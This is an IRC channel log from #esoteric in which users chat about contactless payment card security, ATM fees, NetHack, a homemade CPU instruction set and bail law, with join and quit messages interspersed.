1394318704 630152 :v^!~NotPing@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Remote host closed the connection < 1394318934 499522 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Why does Randall Munroe advertise games? < 1394319028 382083 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1394319030 983719 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://xkcd.com/721/ < 1394319052 163365 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://xkcd.com/721/ < 1394319053 318983 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :asdfjasfd < 1394319054 233884 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :oops < 1394319061 35602 :ion!ion@heh.fi PRIVMSG #esoteric :Why does Sgeo advertise xkcd? < 1394319062 469902 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"The game is currently in development and the goal is to release it in downloadable form for consoles and PC/Mac/Linux. There is no announced date and platform yet. There is no publicly released demo at this point. There will be one when the game is released though, so please be patient :) Thanks." < 1394319167 819662 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :That's silly. Linux is a operating system kernel, which can run on many kind of computer. PC is a computer, which can run many operating systems. (Mac is both kind) < 1394319240 928315 :aergus!~aergus@88.228.117.4 QUIT :Ping timeout: 244 seconds < 1394319302 471598 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(It might be sensible if "PC" means it is a bootable file, and "Linux" means it is provided in a source file that is portable to any Linux systems, but this isn't commonly the case; especially game programs need to know about the hardware too and not just the Linux kernel.) < 1394319353 452608 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I think the person who wrote it was using PC to indicate 'Windows'. Language shifting with usage.. < 1394319380 812686 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Also, I was more quoting because I was hoping the game was released, and sad that it isn't < 1394319411 349200 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes, but it is a bad way, and anyways there are different version of Windows getting confusing too now < 1394319439 42936 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :yeah what if the game is for DOS, Mac OS 7, and Minix. c'mon < 1394320874 185468 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :What if the game is for KolibriOS? < 1394321109 561299 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I should try NetHack 4 < 1394321129 842601 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Although as far as I'm concerned, the name is an April 1st joke < 1394321206 595873 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :now you'll make ais523 sad < 1394321258 63984 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I should learn to play nethack at some point < 1394321388 487526 :showexpress!~showexpre@193.106.31.213 QUIT :Ping timeout: 252 seconds < 1394321562 971515 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :4#' < 1394321564 242515 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :4? < 1394321650 106048 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Sgeo: the name is half serious half joke (you should be used to that in #esoteric) < 1394321951 299992 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :zzo38: there is sort of a cheap way to do that. I think there's a planned design where the credit card hardware itself has a switch the human can trigger to enable wireless "paypass" transactions. you could similarly have multiple switches for different orders of magnitude of payment via terminal, < 1394321975 689885 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :though it'd be a bit difficult to fit them all on a standard sized credit card. < 1394322109 696806 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :That wireless would make it worse. < 1394322121 293968 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :zzo38: the wireless _does_ make it worse already < 1394322126 863682 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :for two reasons < 1394322137 511636 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes, I agree it would make it much worse already < 1394322160 13904 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :one is that with a non-standard wireless terminal you can access debit cards without the knowledge of the owner, < 1394322204 382850 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :the other is that it doesn't require a pin for low amount transactions, and the amount limit for this can't even be defined by the owner < 1394322248 317096 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Twitch Plays Nethack would be interesting < 1394322298 682862 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :I don't understand why, because it seems as if it should be technically possible: < 1394322308 168686 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :b_jonas: Those aren't the only problems with it. < 1394322330 137199 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :wireless "paypass" payment requires a connection to the bank afterall, so couldn't they technically query the limit I set? < 1394322350 703723 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :there's already a limit for purchases that I can define and override, < 1394322367 993328 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :so why can't they add a separate limit for pin-less purchases? < 1394322394 755061 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :(and yeah, the ability to set a longer pin would also be nice) < 1394322403 528820 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :zzo38: what other problems then? < 1394322438 303737 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"Rumors that Pat has since been executed by the other DevTeam members for these frequent breaches of secrecy remain unconfirmed. < 1394322438 489091 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :" < 1394322477 413190 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :The problem is that *they* are defining the limits and lengths and everything like that. Also, wireless has several security issues: You could interfere with a payment, whether or not a switch is required. And soneone who steals the card can still use the switch, so it still doesn't help. < 1394322485 549658 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :And if there are multiple cards, they will interfere with each other, too. < 1394322525 961312 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :zzo38: yes, the switch helps against attackers who try to use non-standard terminals to access your card without your knowledge < 1394322547 693866 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :b_jonas: Yes, but that won't affect against interference. < 1394322570 966635 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :AIUI, people are already using foil-lined wallets for that. < 1394322587 790160 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Or whatever-lined.) < 1394322593 641096 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :zzo38: for a stolen card, it's the amount limit for pin-less transaction that protects you, and the ability to revoke your card if it's stolen < 1394322619 189217 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :fizzie: I don't think foil-lined really works. it's like tinfoil hats. < 1394322625 994244 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :My proposal is to keep the present (non-wireless) system and then require the bank to provide a "high security" option to customers who request it; they would use their own private key to program their own devices (using protocols with public specifications), and can define the limits and password (or other method) yourself. < 1394322648 326848 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :b_jonas: I was under the impression that some of them even did something, but I certainly haven't investigated this. < 1394322665 775185 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :fizzie: some of them probably do < 1394322676 466426 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :fizzie: just lining your purse with tinfoil doesn't < 1394322750 583872 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :s/revoke/cancel/ < 1394322815 283832 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :b_jonas: Someone could still make many small transactions, especially if the merchant steals it. The ability to revoke your card helps, but still not quite enough. You could not notice it has been stolen (especially if he is good at returning it in secret too, and/or if it is wireless, even if it does have switches), or it could be disputed too much. < 1394322849 224135 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"Our reporter offered her own homemade shield constructed of duct tape and lined with aluminium foil. It provided better protection than eight of the 10 commercial products, including a stainless-steel “RFID blocking” wallet selling online for about $60." < 1394322886 427543 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :zzo38: I know < 1394322961 71457 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :zzo38: I must say though that I'm more worried about having my id card or keys stolen: < 1394322966 697272 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Higher security should be applied to cheques too, by (if the account holder requests it), requre a digital signature to be written on the cheque. < 1394323000 616675 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :an id card can be misused way more than a bank card, including an attacker walking into the bank and getting cash from my account without a limit, < 1394323039 322409 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :has a long expiry time so it can be abused for a very long time, and I'm not confident I can cancel it everywhere effectively, < 1394323060 132401 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :If someone steal money I have in my pocket, they cannot steal anything more than what I got. Furthermore, I don't carry any ID card when I don't need it so therefore nobody can use it. < 1394323074 864939 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :the keys let an attacker steal more stuff from the apartment, and the locks are difficult to replace. < 1394323092 843241 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes, that is true. < 1394323097 336658 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :zzo38: I can't not carry an id card. I don't carry a card with my home address when I don't need it. < 1394323099 675646 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :The lock could also be broken or tampered with < 1394323119 508369 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :zzo38: and people who drive _really_ can't choose to not carry an id card. < 1394323130 355378 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes, you do need a driving license < 1394323133 437643 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :I don't drive, but even I need one. < 1394323158 262545 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :But you can try to tell the bank not to accept a driving license as a valid ID for your account. < 1394323175 380602 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :the lock could be tampered, but it's easier to destroy the balcony door than to tamper with the lock. < 1394323223 824704 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :If the key to your house also requires a password, the password would be inside on your own keypad so it is harder to steal than credit card passwords. < 1394323244 969760 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Especially if you don't use the police connections they provide, and install your own instead. < 1394323248 241980 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :zzo38: I have to have the bank accept at least one of my ids, because I have to be able to have business with them. I can probably tell them not to accept a card once it's stolen, but I'm not quite confident they would comply. < 1394323255 115282 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Such thing can confuse people who try to enter without permission. < 1394323296 723036 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :b_jonas: Yes, one ID may be needed, but it can be a different one than normally is. < 1394323305 252025 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :what? you can't practically have your key require a password, because then you'd risk shutting yourself outside drunk after a party. < 1394323309 339013 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394323325 737415 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394323329 581461 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I don't like to get drunk. < 1394323365 453666 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :And the password would be on the inside of the door so after you open the door you have to push it in, making it harder for other people to watch from the outside. < 1394323386 873138 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Maybe make the bank ID that requires to be sealed with a password and/or digital signature. < 1394323387 411173 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :zzo38: that might be true, though I'm not sure it's practical because there's a limit on the number of id cards I can have (probably 4) and I need them for many things. it's still a good idea and worth to investigate. < 1394323429 12717 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :There is an article in 2600 where he replaces some of his cards every few months, and uses his passport mainly as ID < 1394323457 90220 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :also, you need some sort of plan for what to do with the bank if that ID you use for the bank is stolen. < 1394323476 108320 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :I'm not sure how that could work. < 1394323495 147323 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I also prefer to pay in cash in most thing, although I do have a bank account too. < 1394323509 696204 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :paying for cash for everything is expensive. < 1394323528 305841 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :(in europe that is) < 1394323546 367280 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Why is it expensive to do that in Europe? < 1394323576 569471 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :and if you pay in cash for everything, you have to carry lots of cash often, which means you very likely lose more if it's stolen then if they steal your cards. < 1394323598 83016 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You only have to carry the money you use, not all of it. < 1394323632 872940 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :And if it money with holes so it can be tied to your clothing then it is more difficult to steal. < 1394323637 963735 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :sure, and I don't have to carry much because I can pay with a card if necessary, especially for high valued transactions. < 1394323677 677605 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :as for tied to your clothing, well sure, not exactly tied, but I do make my valuables physically hard to steal, < 1394323689 358469 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You can pay by card if you prefer < 1394323693 276571 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :unlike some of the women with open purses you can see walking around here a lot. < 1394323697 392534 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :If you can tie the card in a similar way it is just as hard to steal. < 1394323727 48361 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :But the merchant can still commit credit card fraud on you. < 1394323758 155520 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(For example, by displaying "TRANSACTION FAILED" even though it is actually approved.) < 1394323760 444524 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Finland is in Europe, and I don't think paying everything you'd go out and physically but with cash would really cost any more than paying by card. With the exception of bus tickets, where it's cheaper to get the (wireless) card. < 1394323767 25726 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :no, he can commit a debit card fraud, which is worse. this is Europe, don't forget. we don't have checks here, and credit cards aren't so common. < 1394323795 143288 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes, debit card fraud too. < 1394323796 780433 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :That "but" in there is supposed to be a "buy". < 1394323867 659944 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :If I run a business I would wish to encourage customers to pay by cash. < 1394323916 240799 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :zzo38: sure, for a business it's cheaper if the customer pays by cash, but for a customer it's cheaper to pay by card. < 1394323923 378052 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394323936 231534 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394323936 901681 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Why is it cheaper to pay by card, exactly? < 1394323942 332733 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I am not talking about if it is cheaper or not < 1394323959 904940 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I want the customer to pay in cash to avoid tracing the credit card. < 1394323987 588975 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Possibly you can take advantage of rounding laws in places that have them. < 1394323992 405472 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :fizzie: because you pay for getting the cash from the bank; whereas I don't pay for paying with a card, the vendor is paying for the transaction, and also for the card terminal equipment and internet connection. < 1394324004 405598 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I don't pay for getting the cash from the bank. < 1394324011 501473 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :And people generally don't. < 1394324030 885518 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There are some ATMs with transaction fees, but they're quite rare. < 1394324055 168830 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394324061 232585 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I also don't pay for getting the cash from the bank, because it is a credit union and the law in BC is that you don't pay if you withdraw from credit unions, whether or not you are using ATM, and if you are using a ATM, even if it is one for a different credit union. < 1394324076 50304 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :fizzie: you do pay if you wanted to use cash for everything. you can avoid most in practice by paying with a card. < 1394324099 96295 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Sometimes I keep the money in my desk drawer anyways; I don't always keep all of it in the bank anyways. < 1394324112 916463 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1394324116 397749 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394324125 104410 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :zzo38: do you pay a monthly fee for having such a bank account or card for which you don't pay for getting cash without any limits < 1394324128 579740 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :? < 1394324131 271779 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :s/getting/withdrawing/ < 1394324190 384157 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :b_jonas: No, I don't pay a monthly fee either. But I do pay shareholding fees, which is just a one-time fee, however. < 1394324218 414678 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I pay a (small) monthly fee, but that's not related to any specific no-withdrawing-fees account/card. < 1394324227 154959 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You need shareholding fees to have an account, and since I paid shareholding fees, they keep sending me stuff to vote for their board of directors, even though I have told them I don't care at this time. < 1394324283 835899 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :I See < 1394324299 631043 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's very country-specific, of course. < 1394324335 21714 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :sure < 1394324349 792939 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :it's also very country-specific how many vendors let you pay by card < 1394324370 608127 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :here I shop in lots of places where I can't pay by card < 1394324394 929976 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :not so many as to cause a serious problem, but still < 1394324424 126087 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Sometimes people with me insist to pay by card, and I then pay them bach with cash afterward (and I always demand exact change). < 1394324459 919816 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Personally, I only use cash in the university restaurants, because it's still slower to type a PIN and wait for the on-line confirmation, and those places always have queues. < 1394324490 961330 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :fizzie: those places also sometimes don't have change when you pay by cash < 1394324534 220666 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1394324539 173548 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :which is why I usually carry 2000 forint banknotes instead of larger ones, so I don't meet this no change problem at such places < 1394324687 591835 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :fizzie: cross-bank ATM withdrawals take fees < 1394324700 849769 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There's about 14 or so places on the campus (operated by maybe 5-6 different companies), and they all have their own "buy 10 tickets in advance" programs that are completely incompatible. < 1394324702 523514 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :And I tend to be too lazy to walk to the ATM for my bank :/ < 1394324717 300193 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Sgeo: exactly, and choosing the bank that has more ATMs take monthly fees < 1394324733 201523 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Sgeo: Well, they don't, here. < 1394324788 105669 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Or, rather, there's one ATM operator (Otto) that has maybe 90% of the ATMs, and withdrawals from those are free for at least most banks. < 1394324790 619550 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Sgeo: In British Columbia however, ATMs for credit unions do not have fees for any credit union in the province, by law. < 1394324819 764141 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :ATMs for other banks still do sometimes have fees but not if both the ATM and your account are a credit union, even if they are two different ones. < 1394324868 626187 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Not even the restaurants operated by the same company take the same lunch coupons.) < 1394325457 489907 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394325493 621898 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394325574 156030 :tromp__!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394325574 540960 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1394325873 293192 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net JOIN :#esoteric < 1394326681 407673 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Are there any cryptocurrencies backed by gold? < 1394327095 491963 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :how would that work? someone is willing to give n units of gold per 1 goldbackcoin? < 1394327528 794249 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Yes < 1394328259 491948 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run while ! coins 5000 | tr ' ' '\n' | grep gold; do :; done | head -1 < 1394328290 20295 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394328292 411769 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It does work, sometimes. < 1394328298 828015 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run while ! coins 5000 | tr ' ' '\n' | grep gold; do :; done | head -1 # TRY AGAIN < 1394328317 755125 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :goldenickcoin < 1394328325 91841 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There you go. < 1394328332 820116 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(I got abellgoldicoin and goldrivcoin out of it, earlier.) < 1394329084 610838 :nooodl!~nooodl@91.176.177.103 QUIT :Quit: Ik ga weg < 1394329288 745312 :tromp__!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394329320 888204 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394329443 415968 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Why does playing MP3 files say things like [4:58/2:20] as the time? And the seek bar stays at the right side. < 1394329582 867102 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 264 seconds < 1394329931 782821 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Do you know which instruction sets have a flag-affecting-bit? < 1394330405 649502 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Do you like my "cpu16.txt" instruction set? (Now it is updated; all "reserved" instructions are filled in.) < 1394330654 344094 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Oh dear < 1394330842 643081 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I need to think of more WTNV-esque Computer Science-related statements < 1394331533 162101 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Taneb: What does that mean? < 1394331542 342522 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :welcome to night vale? < 1394331626 172234 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :Windows, The New Vacuum < 1394331890 512564 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have no "call subroutine" instruction, but there is a "push and move immediate" instruction < 1394331907 834863 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(which can be used for this purpose) < 1394332084 931870 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394334213 924650 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 244 seconds < 1394334341 912053 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394336342 790303 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1394336748 892143 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1394337770 866787 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394338008 218081 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394338040 328352 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394338311 340083 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 265 seconds < 1394338705 3573 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1394339272 672156 :FireFly!~firefly@oftn/member/FireFly QUIT :Excess Flood < 1394339432 804368 :FireFly!~firefly@oftn/member/FireFly JOIN :#esoteric < 1394339699 234598 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394340109 645958 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com JOIN :#esoteric < 1394340573 704099 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :mov pc, @sp-; mov #1234, pc < 1394341115 926590 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394342691 720104 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Is it OK if the shortest way to push zero to stack is involving the "load effective address" instruction? < 1394342692 306 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net QUIT :Ping timeout: 3092 seconds < 1394342724 914135 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Is there a version of dc with a arithmetic IF instruction? < 1394342730 906226 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.cbsnews.com/news/darren-sharper-ordered-held-without-bail-amid-sexual-assault-probes/ < 1394342731 91564 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :You can post bail on rape charges? WHAT? < 1394342731 91799 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :why wouldn't you be able to < 1394342731 91893 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Was under the impression there's a category of offenses which are not bailable, and not sure why rape wouldn't be in there < 1394342734 129362 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :as i understand it's done case by case (in the arraignment) and in fact the default is a right to bail. < 1394342734 329849 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :"18 U.S.C. § 3142(f) provides that only persons who fit into certain categories are subject to detention without bail: persons charged with a crime of violence, an offense for which the maximum sentence is life imprisonment or death, certain drug offenses for which the maximum offense is greater than 10 years, repeat felony offenders, or if the defendant poses a serious risk of flight, obstruction of justice, or witness tampering" < 1394342734 524046 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :so rather than only some crimes being "not bailable" it's that only some crimes admit the possibility of being held without bail. < 1394342734 735019 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i think they usually only set no bail if it's likely they're gonna run, or if it's likely they're going to do something again while out. football player probably isn't in either category. < 1394342734 937177 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :one time i was at an arraignment where the judge set bail at something silly because they were pissed at the media circus around the guy. kinda funny to watch < 1394342735 534135 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :newsham: In what instruction set is it? < 1394342737 476351 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Do you have to fix the program counter when you are returning from a subroutine? < 1394343887 250814 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394343921 289288 